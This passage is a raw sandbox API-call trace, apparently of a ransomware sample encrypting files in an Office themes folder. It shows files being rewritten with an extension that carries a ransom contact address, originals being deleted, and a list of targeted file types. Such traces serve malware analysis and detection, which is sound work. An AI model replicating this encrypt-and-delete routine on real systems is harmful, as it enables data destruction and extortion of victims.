shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0123.902] GetLastError () returned 0x0 [0123.902] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xa90c, lpOverlapped=0x0) returned 1 [0123.904] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xa910, lpOverlapped=0x0) returned 1 [0123.906] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.906] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0123.906] SetEndOfFile (hFile=0x224) returned 1 [0123.906] CloseHandle (hObject=0x224) returned 1 [0123.908] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.908] SetEndOfFile (hFile=0x1cc) returned 1 [0123.909] CloseHandle (hObject=0x1cc) returned 1 [0123.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.910] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0123.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.910] lstrlenW (lpString=".doc") returned 4 [0123.910] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.910] lstrlenW (lpString=".docx") returned 5 [0123.910] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.911] lstrlenW (lpString=".pdf") returned 4 [0123.911] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.911] lstrlenW (lpString=".xls") returned 4 [0123.911] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.911] lstrlenW (lpString=".xlsx") returned 5 [0123.911] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.911] lstrlenW (lpString=".ppt") returned 4 [0123.911] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString=".zip") returned 4 [0123.911] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.911] lstrlenW (lpString=".rar") returned 4 [0123.911] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.911] lstrlenW (lpString=".bz2") returned 4 [0123.911] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.911] lstrlenW (lpString=".7z") returned 3 [0123.911] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString=".dbf") returned 4 [0123.911] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString=".1cd") returned 4 [0123.911] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString=".jpg") returned 4 [0123.911] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.911] lstrlenW (lpString=".doc") returned 4 [0123.912] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.912] lstrlenW (lpString=".docx") returned 5 [0123.912] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.912] lstrlenW (lpString=".pdf") returned 4 [0123.912] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.912] lstrlenW (lpString=".xls") returned 4 [0123.912] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.912] lstrlenW (lpString=".xlsx") returned 5 [0123.912] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.912] lstrlenW (lpString=".ppt") returned 4 [0123.912] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.912] lstrlenW (lpString=".zip") returned 4 [0123.912] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.912] lstrlenW (lpString=".rar") returned 4 [0123.912] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.912] lstrlenW (lpString=".bz2") returned 4 [0123.912] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.912] lstrlenW (lpString=".7z") returned 3 [0123.912] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.912] lstrlenW (lpString=".dbf") returned 4 [0123.912] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.912] lstrlenW (lpString=".1cd") returned 4 [0123.912] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0123.912] lstrlenW (lpString=".jpg") returned 4 [0123.912] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.912] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.912] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.913] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=945) returned 1 [0123.913] CloseHandle (hObject=0x1cc) returned 1 [0123.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0123.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.913] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.913] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0123.916] GetLastError () returned 0x0 [0123.916] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x3b1, lpOverlapped=0x0) returned 1 [0123.918] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x3c0, lpOverlapped=0x0) returned 1 [0123.919] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.920] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0123.920] SetEndOfFile (hFile=0x224) returned 1 [0123.920] CloseHandle (hObject=0x224) returned 1 [0123.922] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.922] SetEndOfFile (hFile=0x1cc) returned 1 [0123.923] CloseHandle (hObject=0x1cc) returned 1 [0123.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.924] lstrlenW (lpString=".doc") returned 4 [0123.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.924] lstrlenW (lpString=".docx") returned 5 [0123.924] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.924] lstrlenW (lpString=".pdf") returned 4 [0123.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.924] lstrlenW (lpString=".xls") returned 4 [0123.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.924] lstrlenW (lpString=".xlsx") returned 5 [0123.924] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.924] lstrlenW (lpString=".ppt") returned 4 [0123.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.924] lstrlenW (lpString=".zip") returned 4 [0123.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.924] lstrlenW (lpString=".rar") returned 4 [0123.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.924] lstrlenW (lpString=".bz2") returned 4 [0123.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.924] lstrlenW (lpString=".7z") returned 3 [0123.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.924] lstrlenW (lpString=".dbf") returned 4 [0123.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString=".1cd") returned 4 [0123.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString=".jpg") returned 4 [0123.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString=".doc") returned 4 [0123.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.925] lstrlenW (lpString=".docx") returned 5 [0123.925] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.925] lstrlenW (lpString=".pdf") returned 4 [0123.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString=".xls") returned 4 [0123.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString=".xlsx") returned 5 [0123.925] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.925] lstrlenW (lpString=".ppt") returned 4 [0123.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString=".zip") returned 4 [0123.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString=".rar") returned 4 [0123.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.925] lstrlenW (lpString=".bz2") returned 4 [0123.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.925] lstrlenW (lpString=".7z") returned 3 [0123.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.925] lstrlenW (lpString=".dbf") returned 4 [0123.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.926] lstrlenW (lpString=".1cd") returned 4 [0123.926] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0123.926] lstrlenW (lpString=".jpg") returned 4 [0123.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.926] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.926] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.926] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=32607) returned 1 [0123.926] CloseHandle (hObject=0x1cc) returned 1 [0123.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0123.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.927] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.927] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0123.927] GetLastError () returned 0x0 [0123.927] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x7f5f, lpOverlapped=0x0) returned 1 [0123.929] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x7f60, lpOverlapped=0x0) returned 1 [0123.931] ReadFile (in: hFile=0x1cc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.931] WriteFile (in: hFile=0x224, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0123.931] SetEndOfFile (hFile=0x224) returned 1 [0123.931] CloseHandle (hObject=0x224) returned 1 [0123.932] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.933] SetEndOfFile (hFile=0x1cc) returned 1 [0123.934] CloseHandle (hObject=0x1cc) returned 1 [0123.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0123.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.934] lstrlenW (lpString=".doc") returned 4 [0123.934] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.934] lstrlenW (lpString=".docx") returned 5 [0123.934] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.934] lstrlenW (lpString=".pdf") returned 4 [0123.934] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.934] lstrlenW (lpString=".xls") returned 4 [0123.935] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.935] lstrlenW (lpString=".xlsx") returned 5 [0123.935] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.935] lstrlenW (lpString=".ppt") returned 4 [0123.935] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString=".zip") returned 4 [0123.935] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.935] lstrlenW (lpString=".rar") returned 4 [0123.935] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.935] lstrlenW (lpString=".bz2") returned 4 [0123.935] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString=".7z") returned 3 [0123.935] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString=".dbf") returned 4 [0123.935] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString=".1cd") returned 4 [0123.935] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString=".jpg") returned 4 [0123.935] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.935] lstrlenW (lpString=".doc") returned 4 [0123.935] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString=".docx") returned 5 [0123.935] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0123.935] lstrlenW (lpString=".pdf") returned 4 [0123.935] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0123.935] lstrlenW (lpString=".xls") returned 4 [0123.935] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0123.936] lstrlenW (lpString=".xlsx") returned 5 [0123.936] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0123.936] lstrlenW (lpString=".ppt") returned 4 [0123.936] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0123.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.936] lstrlenW (lpString=".zip") returned 4 [0123.936] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0123.936] lstrlenW (lpString=".rar") returned 4 [0123.936] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0123.936] lstrlenW (lpString=".bz2") returned 4 [0123.936] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0123.936] lstrlenW (lpString=".7z") returned 3 [0123.936] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0123.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.936] lstrlenW (lpString=".dbf") returned 4 [0123.936] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0123.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.936] lstrlenW (lpString=".1cd") returned 4 [0123.936] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0123.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0123.936] lstrlenW (lpString=".jpg") returned 4 [0123.936] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0123.936] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.936] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0123.955] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2044) returned 1 [0123.955] CloseHandle (hObject=0x1ec) returned 1 [0123.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0123.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0123.955] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.955] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: 